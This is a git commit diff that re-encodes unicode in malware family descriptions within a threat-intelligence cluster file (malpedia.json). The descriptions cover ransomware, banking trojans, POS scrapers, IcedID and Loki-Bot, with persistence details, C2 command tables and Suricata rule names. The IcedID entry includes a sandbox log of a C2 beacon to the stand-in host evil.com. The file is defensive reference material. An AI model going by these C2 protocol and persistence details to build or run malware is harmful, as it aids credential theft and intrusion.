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jq all the things

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Alexandre Dulaunoy 2018-10-10 22:12:59 +02:00
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clusters/malpedia.json
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@ -2828,7 +2828,7 @@
},
"uuid": "1ed36f9a-ae00-4d16-bbf7-e97217385fb1",
"value": "AdamLocker",
"description": "Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim\u2019s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service."
"description": "Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim’s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service."
},
{
"meta": {
@ -2921,7 +2921,7 @@
},
"uuid": "43ec8adc-0658-4765-be20-f22679097fab",
"value": "Aldibot",
"description": "According to Trend Micro Encyclopia:\r\nALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.\r\n\r\nThis malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.\r\n\r\nThis bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.\r\n\r\nThis malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine\u2019s hardware identification (HWID), host name, local IP address, and OS version.\r\n\r\nThis backdoor executes commands from a remote malicious user, effectively compromising the affected system."
"description": "According to Trend Micro Encyclopia:\r\nALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.\r\n\r\nThis malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.\r\n\r\nThis bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.\r\n\r\nThis malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine’s hardware identification (HWID), host name, local IP address, and OS version.\r\n\r\nThis backdoor executes commands from a remote malicious user, effectively compromising the affected system."
},
{
"meta": {
@ -4027,7 +4027,7 @@
},
"uuid": "a05b8e4b-a686-439f-8094-037fbcda52bd",
"value": "Breakthrough",
"description": "There is no reference available for this family and all known samples have version 1.0.0.\r\n\r\nPdb-strings in the samples suggest that this is an \"exclusive\" loader, known as \"breakthrough\" (maybe), e.g. C:\\Users\\Exclusiv\\Desktop\\\u0445\u043f-\u043f\u0440\u043e\u0431\u0438\u0432\\Release\\build.pdb\r\n\r\nThe communication url parameters are pretty unique in this combination:\r\ngate.php?hwid=<guid>&os=<OS>&build=1.0.0&cpu=8\r\n\r\n<OS> is one of:\r\nWindows95\r\nWindows98\r\nWindowsMe\r\nWindows95family\r\nWindowsNT3\r\nWindowsNT4\r\nWindows2000\r\nWindowsXP\r\nWindowsServer2003\r\nWindowsNTfamily\r\nWindowsVista\r\nWindows7\r\nWindows8\r\nWindows10\r\n"
"description": "There is no reference available for this family and all known samples have version 1.0.0.\r\n\r\nPdb-strings in the samples suggest that this is an \"exclusive\" loader, known as \"breakthrough\" (maybe), e.g. C:\\Users\\Exclusiv\\Desktop\\хп-пробив\\Release\\build.pdb\r\n\r\nThe communication url parameters are pretty unique in this combination:\r\ngate.php?hwid=<guid>&os=<OS>&build=1.0.0&cpu=8\r\n\r\n<OS> is one of:\r\nWindows95\r\nWindows98\r\nWindowsMe\r\nWindows95family\r\nWindowsNT3\r\nWindowsNT4\r\nWindows2000\r\nWindowsXP\r\nWindowsServer2003\r\nWindowsNTfamily\r\nWindowsVista\r\nWindows7\r\nWindows8\r\nWindows10\r\n"
},
{
"meta": {
@ -5288,7 +5288,7 @@
},
"uuid": "4f7decd4-054b-4dd7-89cc-9bdb248f7c8a",
"value": "DanaBot",
"description": "Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on \u201cquality over quantity\u201d in email-based threats. DanaBot\u2019s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker. "
"description": "Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker. "
},
{
"meta": {
@ -7382,7 +7382,7 @@
},
"uuid": "f82f8d2c-695e-461a-bd4f-a7dc58531063",
"value": "Grateful POS",
"description": "POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card\u2019s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system\u2019s memory unencrypted while the system determines where to send it for authorization. \r\nMasked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past."
"description": "POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. \r\nMasked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past."
},
{
"meta": {
@ -7932,7 +7932,7 @@
},
"uuid": "26f5afaf-0bd7-4741-91ab-917bdd837330",
"value": "IcedID",
"description": "Analysis Observations:\r\n\r\n* It sets up persistence by creating a Scheduled Task with the following characteristics:\r\n * Name: Update\r\n * Trigger: At Log on\r\n * Action: %LocalAppData%\\$Example\\\\waroupada.exe /i\r\n * Conditions: Stop if the computer ceases to be idle.\r\n* The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.\r\n* The filename remained static during analysis.\r\n* The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it\r\n* If \u201c/i\u201d is not passed as an argument, it sets up persistence and waits for reboot.\r\n* If \u201c/I\u201d is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.\r\n* Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:\r\n rundll32.exe kernel32,Sleep -s\r\n* Setup a local listener to proxy traffic on 127.0.0.1:50000\r\n\r\n**[Example Log from C2 Network Communication]**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)>\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'.\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2"
"description": "Analysis Observations:\r\n\r\n* It sets up persistence by creating a Scheduled Task with the following characteristics:\r\n * Name: Update\r\n * Trigger: At Log on\r\n * Action: %LocalAppData%\\$Example\\\\waroupada.exe /i\r\n * Conditions: Stop if the computer ceases to be idle.\r\n* The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.\r\n* The filename remained static during analysis.\r\n* The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it\r\n* If “/i” is not passed as an argument, it sets up persistence and waits for reboot.\r\n* If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.\r\n* Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:\r\n rundll32.exe kernel32,Sleep -s\r\n* Setup a local listener to proxy traffic on 127.0.0.1:50000\r\n\r\n**[Example Log from C2 Network Communication]**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)>\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'.\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2"
},
{
"meta": {
@ -9004,7 +9004,7 @@
},
"uuid": "8098d303-cb5f-4eff-b62e-96bb5ef4329f",
"value": "Loda",
"description": "Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as \u201cTrojan.Nymeria\u201d, although the connection is not well-documented."
"description": "Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented."
},
{
"meta": {
@ -9057,7 +9057,7 @@
},
"uuid": "b8fa5036-813f-4887-b4d4-bb17b4a7eba0",
"value": "Loki Password Stealer (PWS)",
"description": "\"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.\" - PhishMe\r\n\r\nLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.\r\n\r\nLoki-Bot accepts a single argument/switch of \u2018-u\u2019 that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.\r\n\r\nThe Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: \u201cB7E1C2CC98066B250DDB2123\u201c.\r\n\r\nLoki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: \u201c%APPDATA%\\ C98066\\\u201d.\r\n\r\nThere can be four files within the hidden %APPDATA% directory at any given time: \u201c.exe,\u201d \u201c.lck,\u201d \u201c.hdb\u201d and \u201c.kdb.\u201d They will be named after characters 13 thru 18 of the Mutex. For example: \u201c6B250D.\u201d Below is the explanation of their purpose:\r\n\r\nFILE EXTENSION\tFILE DESCRIPTION\r\n.exe\tA copy of the malware that will execute every time the user account is logged into\r\n.lck\tA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts\r\n.hdb\tA database of hashes for data that has already been exfiltrated to the C2 server\r\n.kdb\tA database of keylogger data that has yet to be sent to the C2 server\r\n\r\nIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.\r\n\r\nThe first packet transmitted by Loki-Bot contains application data.\r\n\r\nThe second packet transmitted by Loki-Bot contains decrypted Windows credentials.\r\n\r\nThe third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.\r\n\r\nCommunications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.\r\n\r\nThe first WORD of the HTTP Payload represents the Loki-Bot version.\r\n\r\nThe second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:\r\n\r\nBYTE\tPAYLOAD TYPE\r\n0x26\tStolen Cryptocurrency Wallet\r\n0x27\tStolen Application Data\r\n0x28\tGet C2 Commands from C2 Server\r\n0x29\tStolen File\r\n0x2A\tPOS (Point of Sale?)\r\n0x2B\tKeylogger Data\r\n0x2C\tScreenshot\r\n\r\nThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically \u201cckav.ru\u201d. If you come across a Binary ID that is different from this, take note!\r\n\r\nLoki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.\r\n\r\nThe Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot\u2019s C2 infrastructure.\r\n\r\nLoki-Bot can accept the following instructions from the C2 Server:\r\n\r\nBYTE\tINSTRUCTION DESCRIPTION\r\n0x00\tDownload EXE & Execute\r\n0x01\tDownload DLL & Load #1\r\n0x02\tDownload DLL & Load #2\r\n0x08\tDelete HDB File\r\n0x09\tStart Keylogger\r\n0x0A\tMine & Steal Data\r\n0x0E\tExit Loki-Bot\r\n0x0F\tUpgrade Loki-Bot\r\n0x10\tChange C2 Polling Frequency\r\n0x11\tDelete Executables & Exit\r\n\r\nSuricata Signatures\r\nRULE SID\tRULE NAME\r\n2024311\tET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected\r\n2024312\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1\r\n2024313\tET TROJAN Loki Bot Request for C2 Commands Detected M1\r\n2024314\tET TROJAN Loki Bot File Exfiltration Detected\r\n2024315\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1\r\n2024316\tET TROJAN Loki Bot Screenshot Exfiltration Detected\r\n2024317\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2\r\n2024318\tET TROJAN Loki Bot Request for C2 Commands Detected M2\r\n2024319\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2"
"description": "\"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.\" - PhishMe\r\n\r\nLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.\r\n\r\nLoki-Bot accepts a single argument/switch of ‘-u’ that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.\r\n\r\nThe Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: “B7E1C2CC98066B250DDB2123“.\r\n\r\nLoki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: “%APPDATA%\\ C98066\\”.\r\n\r\nThere can be four files within the hidden %APPDATA% directory at any given time: “.exe,” “.lck,” “.hdb” and “.kdb.” They will be named after characters 13 thru 18 of the Mutex. For example: “6B250D.” Below is the explanation of their purpose:\r\n\r\nFILE EXTENSION\tFILE DESCRIPTION\r\n.exe\tA copy of the malware that will execute every time the user account is logged into\r\n.lck\tA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts\r\n.hdb\tA database of hashes for data that has already been exfiltrated to the C2 server\r\n.kdb\tA database of keylogger data that has yet to be sent to the C2 server\r\n\r\nIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.\r\n\r\nThe first packet transmitted by Loki-Bot contains application data.\r\n\r\nThe second packet transmitted by Loki-Bot contains decrypted Windows credentials.\r\n\r\nThe third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.\r\n\r\nCommunications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.\r\n\r\nThe first WORD of the HTTP Payload represents the Loki-Bot version.\r\n\r\nThe second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:\r\n\r\nBYTE\tPAYLOAD TYPE\r\n0x26\tStolen Cryptocurrency Wallet\r\n0x27\tStolen Application Data\r\n0x28\tGet C2 Commands from C2 Server\r\n0x29\tStolen File\r\n0x2A\tPOS (Point of Sale?)\r\n0x2B\tKeylogger Data\r\n0x2C\tScreenshot\r\n\r\nThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!\r\n\r\nLoki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.\r\n\r\nThe Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.\r\n\r\nLoki-Bot can accept the following instructions from the C2 Server:\r\n\r\nBYTE\tINSTRUCTION DESCRIPTION\r\n0x00\tDownload EXE & Execute\r\n0x01\tDownload DLL & Load #1\r\n0x02\tDownload DLL & Load #2\r\n0x08\tDelete HDB File\r\n0x09\tStart Keylogger\r\n0x0A\tMine & Steal Data\r\n0x0E\tExit Loki-Bot\r\n0x0F\tUpgrade Loki-Bot\r\n0x10\tChange C2 Polling Frequency\r\n0x11\tDelete Executables & Exit\r\n\r\nSuricata Signatures\r\nRULE SID\tRULE NAME\r\n2024311\tET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected\r\n2024312\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1\r\n2024313\tET TROJAN Loki Bot Request for C2 Commands Detected M1\r\n2024314\tET TROJAN Loki Bot File Exfiltration Detected\r\n2024315\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1\r\n2024316\tET TROJAN Loki Bot Screenshot Exfiltration Detected\r\n2024317\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2\r\n2024318\tET TROJAN Loki Bot Request for C2 Commands Detected M2\r\n2024319\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2"
},
{
"meta": {